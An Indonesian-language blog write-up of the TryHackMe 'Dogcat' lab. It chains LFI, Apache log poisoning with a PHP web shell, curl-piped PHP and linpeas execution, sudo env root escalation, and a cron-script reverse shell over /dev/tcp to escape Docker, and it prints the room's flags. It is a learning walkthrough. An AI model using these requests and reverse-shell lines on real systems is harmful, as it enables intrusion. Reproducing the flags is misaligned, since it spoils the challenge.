TryHackMe – Dogcat Writeup

dogcat tryhackme

I made this website for viewing cat and dog images with PHP. If you’re feeling down, come look at some dogs/cats! 

jadi di labs ini tuh kita ditantang untuk mengeksploitasi kerentanan LFI dan log poisoning.
ok kita langsung mulai saja. biasanya saya coba gunakan nmap untuk melihat port apa saja yg terbuka di machine dogcat tadi.

┌──(cyberdesu㉿MSI)-[~]
└─$ nmap -A 10.10.160.121
image CyberDesu
hasilnya memperlihatkan port http terbuka

selanjutnya saya cek website tersebut yang tampilan nya sederhana dan ada 2 buah button yaitu ‘A dog’ dan ‘A cat’

image 1 CyberDesu

Selanjutnya saya coba klik kedua tombol tersebut yang akan menampilkan gambar anjing dan kucing secara random

pada saat saya klik kedua tombol yang digunakan untuk melihat foto seperti diatas. maka di url website nya akan ada parameter seperti ini http://10.10.160.121/?view=cat

parameter ?view= tersebutlah yang berfungsi untuk melakukan request ke server untuk memberikan sebuah gambar kucing/anjiing. langkah selanjutnya kita coba masukan payload LFI untuk mencoba mengakses /etc/passwd di parameter?view=

edit url nya jadi seperti ini:
http://10.10.160.121/?view=../../../etc/passwd

maka hasilnya seperti gambar dibawah ini yg artinya value dari parameter view hanya boleh di isi dog atau cat saja. jadi payload pertama kita gagal, dan kita harus mencari cara lain untuk membypass nya.

image 8 CyberDesu
selanjutnya saya coba bypass dengan sedikit mengubah url nya jadi seperti ini:
http://10.10.160.121/?view=dog/../../../etc/passwd

maka hasilna masih tetep error, akan tetapi saya mendapatkan informasi baru seperti penggunaan function include dan adanya extension .php yang ditambahkan secara otomatis di /etc/passwd

image 11 CyberDesu

karena website nya menggunakan PHP, maka kita bisa coba bypass LFI tadi dengan cara encode ke base64 menggunakan Wrapper php://filter

edit url nya jadi seperti ini:
http://10.10.160.121/?view=php://filter/convert.base64-encode/resource=dog

maka hasilnya akan memperlihatkan encoding dari base64 seperti ini

image 9 CyberDesu

selanjutnya kita coba decode data base64 tadi dengan menggunakan terminal seperti ini:

┌──(cyberdesu㉿MSI)-[~]
└─$ echo PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K | base64 -d

maka hasilnya akan memperlihatkan kode dari dog.php seperti ini:
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
selanjutnya kita coba lihat kode dari index.php dengan cara edit url nya seperti ini:
http://10.10.160.121/?view=php://filter/convert.base64-encode/resource=dog/../index

maka hasilnya akan seperti digambar bawah ini yang data base64 yang sangat panjang

image 12 CyberDesu

kita coba lakukan decode data tersebut di terminal dengan cara seperti ini

┌──(cyberdesu㉿MSI)-[~]
└─$ echo PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== | base64 -d

maka akan menampilkan kode dari index.php yang jika kita cek kode nya, ternyata ada parameter ?ext= yang menggunakan method GET untuk menambahkan ektensi .php secara otomatis

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>
selanjutnya kita coba akses direktori /etc/passwd dengan cara menambahkan parameter ext= seperti ini:
http://10.10.160.121/?view=dog/../../../../etc/passwd&ext=

dan hasilnya kita berhasil mengakses direktori /etc/passwd tadi wkwkwkw

image 13 CyberDesu

nah tantangan selanjutnya tuh kita harus mencoba eskalasi bug LFI ini ke RCE, dan setelah saya cek repo dari payloadallthething, ternyata kita bisa eskalasi RCE dengan cara poisoning User-agent nya ke Apache logs

saya menggunakan burpsuite repeater agar lebih mudah untuk eskalasi ke RCE nya . kita coba ubah user-agent nya dengan kode php ini <?php system($_GET["cmd"]);?> dan tambahkan juga parameter cmd nya di url lalu isi value nya dengan teks whoami. url nya akan seperti ini

http://10.10.160.121/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=whoami

dan hasilnya malah error wkwwkwkw, terjadi syntax error di kode php yg kita inject di user-agent, jadi kemungkinan kita tidak boleh menggunakan double quotes $_GET["cmd"] di pada saat poisoning

image 14 CyberDesu

ok labs sudah di restart dan kita sudah mendapatkan ip baru dari labs nya, selanjutnya kita coba eskalasi ulang LFI to RCE nya, tetapi kita ganti kode php nya menjadi seperti ini <?php system($_GET['cmd']);?> . lalu kita coba request ulang ke server nya menggunakan burpsuite repeater

GET /?view=dog/../../../../var/log/apache2/access.log&&cmd=whoami&ext= HTTP/1.1
Host: 10.10.81.201
User-Agent: <?php system($_GET['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

maka hasilnya akan menampilkan user yang saat ini kita pakai

image 15 CyberDesu

selanjutnya saya masukan perintah ls di parameter cmd tadi untuk melihat list file yg ada di direktori saat ini

berikut url yg diubah:
http://10.10.81.201/?view=dog/../../../../var/log/apache2/access.log&&cmd=ls&ext=

hasilnya ada 1 file yang sangat menarik bagi saya. yaitu flag.php yang kemungkinan isinya flag pertama kita

image 16 CyberDesu
kita coba buka file flag.php dengan cara menggunakan perintah "cat flag.php" dan
juga kita ubah url nya seperti ini:
http://10.10.81.201/?view=dog/../../../../var/log/apache2/access.log&&cmd=ls+flag.php&ext=

dan langsung kita dptkan flag pertama kita yaitu THM{Th1s_1s_N0t_4_Catdog_ab67edfa}

image 17 CyberDesu

flag pertama sudah kita dapatkan, dan masih ada tersisa 3 flag lagi yg harus ditemukan. ok kita lanjut lagi ke langkah selanjutnya, yaitu saya coba melakukan reverse shell agar lebih mudah mencari flag yg tersisa. mula-mula saya coba ubah value dari parameter cmd nya menjadi nc -e /bin/sh {attacker_IP} {attacker port} dan jgn lupa siapkan listener nya di terminal kita dengan menggunakan perinta nc -lnvp {listen_port}

tetapi hasilnya malah gagal pas saya coba lakukan request ke server nya, kemungkinan mesin nya tidak ada tools netcat jadinya kita tidak bisa melakukan reverse shell, dan jika kita cek response nya, maka hanya akan menampilkan seperti ini

image 20 CyberDesu

saya baru sadar kalau ada curl di response nya, yang berarti perintah curl sudah pasti ada di mesin nya. dan saya langsung terpikir untuk memanfaatkan perintah curl agar bisa mendapatkan reverse shell nya

ok jadi langkah awalnya tuh saya coba pake php reverse shell dari pentestMonkey dan mengubah ip sesuai dengan ip mesin kita dan port sesuai dengan listener yg kita buka di netcat

image 21 CyberDesu

ok lanjut ke langkah selanjutnya yaitu mengaktifkan server http menggunakan python dengan cara menggunakan perintah sudo python3 -m http.server 80
nah server inilah yg akan diakses oleh mesin dogcat tadi agar bisa mengeksekusi shell.php yg telah dibuat tadi

image 22 CyberDesu

ok selanjutnya saya coba gunakan perintah curl dan memanfaatkan pipeline | agar bisa langsung mengeksekusi shell.php

berikut request lengkap nya:

GET /?view=dog/../../../../var/log/apache2/access.log&&cmd=curl+http://10.4.30.90/shell.php+|+php&ext= HTTP/1.1
Host: 10.10.81.201
User-Agent: <?php system($_GET['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

lalu pas kita cek http server yg telah dibuat, hasilnya memperlihatkan adanya request ke endpoint /shell.php dari ip mesin dogcat. dan listener yg telah disiapkan tadi juga sudah bisa digunakan, yg artinya shell.php yg tadi dibuat sudah berhasil di eksekusi oleh si mesin dogcat tadi

nah karena kita sudah dpt shell nya, langkah selanjutnya yaitu saya mencoba melakukan privelege escalation agar bisa mendapatkan akses root. biasanya saya akan menggunakan perintah sudo -l untuk melihat daftar perintah yang diizinkan untuk dieksekusi oleh pengguna saat ini dengan hak akses sudo. Ini dapat memberikan informasi tentang hak akses tambahan yang mungkin dimiliki oleh pengguna tersebut.

setelah menggunakan perintah sudo -l. saya melihat ada hal menarik yang bisa dimanfaatkan yaitu /usr/bin/env

image 27 CyberDesu

langsung saja kita cek website GTFbins untuk mencari tahu cara memanfaatkan perintah /usr/bin/env dengan menggunakan sudo.
jadi intinya kita bisa menggunakan perintah sudo env /bin/sh untuk mendapatkan user root

image 28 CyberDesu

langsung saja kita coba perintah sudo /bin/sh di shell yg telah didapatkan tadi. lalu kita coba cek user yg digunakan saatnya dengan cara menggunakan perintah id yg menampilkan user yg kita gunakan adalah rooooot.

image 29 CyberDesu

ok. karena kita sudah berhasil mendapatkan user root, langkah selanjutnya yaitu kita coba cari semua flag yg memiliki nama file flag dan biasanya memakai extension .txt, kita bisa menggunakan perintah find / -name “*flag*.txt” 2> /dev/null

hasilnya kita menemukan 2 buah flag lagi yaitu flag2_QMW7JvaY2LvK.txt yang berisi flag THM{LF1_t0_RC3_aec3fb} dan flag.3.txt yang berisi flag THM{D1ff3r3nt_3nv1ronments_874112}

image 30 CyberDesu

tapi sayangnya untuk flag yg ke 4 blom ditemukan, dan juga saya sudah stuck lebih dari 2 jam karena bingung dimana flag 4 nya tuh disimpan. lalu saya coba aja iseng ngegunain linpeas yg saya harapkan kalau mesin dogcat yg kita dptkan tuh masih di docker.

langsung saja saya coba download linpeas nya dan saya simpan di mesin kali linux terlebih dahulu, karena mesin dogcat nya tuh tidak memiliki akses internet.
setelah selesai download linpeas di mesin kali linux, saatnya kita aktifkan aktifkan module http server tadi agar kita bisa pake perintah curl http://10.4.30.90/linpeas.sh | sh agar bisa langsung mengeksekusi linpeas nya di mesin catdog

image 33 CyberDesu

dan hasilnya ternyata benar sesuai dugaan saya, yaitu hasil dari linpeas memperlihatkan bahwasanya mesin dogcat saat ini ada di dalam docker container, dan untung nya di linpeas ini memberi kita referensi dan beberapa kemungkinan untuk melakukan escape/breakout docker

image 32 CyberDesu

tetapi sebelum saya mencoba mengikuti saran dari linpeas, saya malah menemukan file backups yg diperlihatkan oleh linpeas, dan itu menarik perhatian saya karena file backup nya tuh sepertinya menggunakan cronjobs agar secara otomatis melakukan backups

image 34 CyberDesu

langsung saja kita cek file backup.sh nya untuk melihat perintah yg akan dieksekusi.
jadi perintah yang akan dieksekusi memang perintah tersebut akan mengompresi semua file dan direktori di dalam “/root/container” menjadi sebuah arsip dengan nama “backup.tar” di dalam direktori “/root/container/backup” di dalam container.

image 35 CyberDesu

yaudahlah saya langsung aja tambahin perintah untuk melakukan reverse shell lagi. dan berharap reverse shell kali ini tuh tidak ada di dalam docker lagi

berikut perintah nya:
echo "/bin/sh -i >& /dev/tcp/10.4.30.90/5555 0>&1" >> /opt/backups/backup.sh

dan jg saya bikin listener baru di port 5555. lalu saya mencoba menunggu beberapa saat sampai listener nya mendapatkan shell baru

image 36 CyberDesu

pas sudah dpt shell nya. saya langsung saja coba perintah ls untuk melihat isi dari direktori root saat ini, karena kalau kita masih di dalam docker, maka isi direktori root nya cuman ada flag3.txt

dan hasilnya berhasil cuy wkwkwkw, ada flag4.txt. langsung saja kita buka file nya dan hasilnya THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

image 37 CyberDesu

ok setelah ber jam2 bingung nyari flag4 ini, akhirnya dpt juga wkwkwkw.

jadi review labs dogcat dari tryhackme ini tuh menurut saya tuh sangat seru pas mencoba breakout dari docker, karena yahh ini tuh first time ngelakuin breakout docker, jadinya ini ilmu baru yg sangat bermanfaat bngt buat kedepan nya

Leave a Reply

Your email address will not be published. Required fields are marked *